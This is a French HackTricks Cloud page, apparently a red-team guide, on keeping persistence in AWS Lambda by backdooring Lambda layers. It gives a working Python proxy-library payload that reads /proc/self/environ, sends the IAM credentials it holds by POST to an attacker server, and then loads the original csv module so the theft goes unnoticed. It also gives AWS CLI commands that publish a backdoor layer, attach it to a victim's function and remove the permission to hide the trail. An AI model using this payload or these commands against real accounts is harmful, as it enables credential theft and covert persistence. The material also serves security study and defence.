AWS - Persistence des couches Lambda
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Couches Lambda
Une couche Lambda est une archive .zip qui peut contenir du code supplĂ©mentaire ou dâautres contenus. Une couche peut contenir des bibliothĂšques, un runtime personnalisĂ©, des donnĂ©es ou des fichiers de configuration.
Il est possible dâinclure jusquâĂ cinq couches par fonction. Lorsque vous incluez une couche dans une fonction, le contenu est extrait dans le rĂ©pertoire /opt de lâenvironnement dâexĂ©cution.
Par dĂ©faut, les couches que vous crĂ©ez sont privĂ©es Ă votre compte AWS. Vous pouvez choisir de partager une couche avec dâautres comptes ou de rendre la couche publique. Si vos fonctions consomment une couche quâun autre compte a publiĂ©e, vos fonctions peuvent continuer Ă utiliser la version de la couche aprĂšs quâelle a Ă©tĂ© supprimĂ©e, ou aprĂšs que votre autorisation dâaccĂšs Ă la couche a Ă©tĂ© rĂ©voquĂ©e. Cependant, vous ne pouvez pas crĂ©er une nouvelle fonction ou mettre Ă jour des fonctions en utilisant une version de couche supprimĂ©e.
Les fonctions dĂ©ployĂ©es en tant quâimage de conteneur nâutilisent pas de couches. Au lieu de cela, vous empaquetez votre runtime prĂ©fĂ©rĂ©, vos bibliothĂšques et dâautres dĂ©pendances dans lâimage de conteneur lorsque vous construisez lâimage.
Chemin de chargement Python
Le chemin de chargement que Python utilisera dans lambda est le suivant :
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
VĂ©rifiez comment les deuxiĂšme et troisiĂšme positions sont occupĂ©es par des rĂ©pertoires oĂč les lambda layers dĂ©compressent leurs fichiers : /opt/python/lib/python3.9/site-packages et /opt/python
Caution
Si un attaquant parvient Ă backdoor un layer lambda utilisĂ© ou Ă en ajouter un qui exĂ©cutera du code arbitraire lorsquâune bibliothĂšque commune est chargĂ©e, il pourra exĂ©cuter du code malveillant Ă chaque invocation de lambda.
Par conséquent, les exigences sont :
- Vérifiez les bibliothÚques qui sont chargées par le code des victimes
- Créez une bibliothÚque proxy avec des lambda layers qui exécutera du code personnalisé et chargera la bibliothÚque originale.
BibliothÚques préchargées
Warning
Lors de lâabus de cette technique, jâai rencontrĂ© une difficultĂ© : Certaines bibliothĂšques sont dĂ©jĂ chargĂ©es dans lâenvironnement dâexĂ©cution python lorsque votre code est exĂ©cutĂ©. Je mâattendais Ă trouver des choses comme
osousys, mais mĂȘme la bibliothĂšquejsonĂ©tait chargĂ©e.
Afin dâabuser de cette technique de persistance, le code doit charger une nouvelle bibliothĂšque qui nâest pas chargĂ©e lorsque le code est exĂ©cutĂ©.
Avec un code python comme celui-ci, il est possible dâobtenir la liste des bibliothĂšques qui sont prĂ©chargĂ©es dans lâenvironnement dâexĂ©cution python dans lambda :
import sys
def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
Et voici la liste (vérifiez que des bibliothÚques comme os ou json sont déjà présentes)
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
Et voici la liste des bibliothÚques que lambda inclut installées par défaut : https://gist.github.com/gene1wood/4a052f39490fae00e0c3
Backdooring de la couche Lambda
Dans cet exemple, supposons que le code ciblĂ© importe csv. Nous allons backdoor lâimportation de la bibliothĂšque csv.
Pour ce faire, nous allons crĂ©er le rĂ©pertoire csv avec le fichier __init__.py Ă lâintĂ©rieur dans un chemin chargĂ© par lambda : /opt/python/lib/python3.9/site-packages
Ensuite, lorsque la lambda est exécutée et essaie de charger csv, notre fichier __init__.py sera chargé et exécuté.
Ce fichier doit :
- Exécuter notre payload
- Charger la bibliothĂšque csv originale
Nous pouvons faire les deux avec :
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)
# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]
# Load original library
import csv as _csv
sys.modules["csv"] = _csv
Ensuite, créez un zip avec ce code dans le chemin python/lib/python3.9/site-packages/__init__.py et ajoutez-le en tant que couche lambda.
Vous pouvez trouver ce code sur https://github.com/carlospolop/LambdaLayerBackdoor
Le payload intĂ©grĂ© enverra les identifiants IAM Ă un serveur LA PREMIĂRE FOIS quâil est invoquĂ© ou APRĂS une rĂ©initialisation du conteneur lambda (changement de code ou lambda froide), mais dâautres techniques telles que les suivantes pourraient Ă©galement ĂȘtre intĂ©grĂ©es :
Couches externes
Notez quâil est possible dâutiliser des couches lambda provenant de comptes externes. De plus, une lambda peut utiliser une couche dâun compte externe mĂȘme si elle nâa pas les autorisations.
Notez Ă©galement que le nombre maximum de couches quâune lambda peut avoir est de 5.
Par consĂ©quent, afin dâamĂ©liorer la polyvalence de cette technique, un attaquant pourrait :
- Backdoor une couche existante de lâutilisateur (rien nâest externe)
- CrĂ©er une couche dans son compte, donner lâaccĂšs du compte victime pour utiliser la couche, configurer la couche dans la Lambda de la victime et retirer la permission.
- La Lambda pourra toujours utiliser la couche et la victime nâaura aucun moyen facile de tĂ©lĂ©charger le code des couches (Ă part obtenir un shell inversĂ© Ă lâintĂ©rieur de la lambda)
- La victime ne verra pas les couches externes utilisées avec
aws lambda list-layers
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
## Add layer to victims Lambda
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

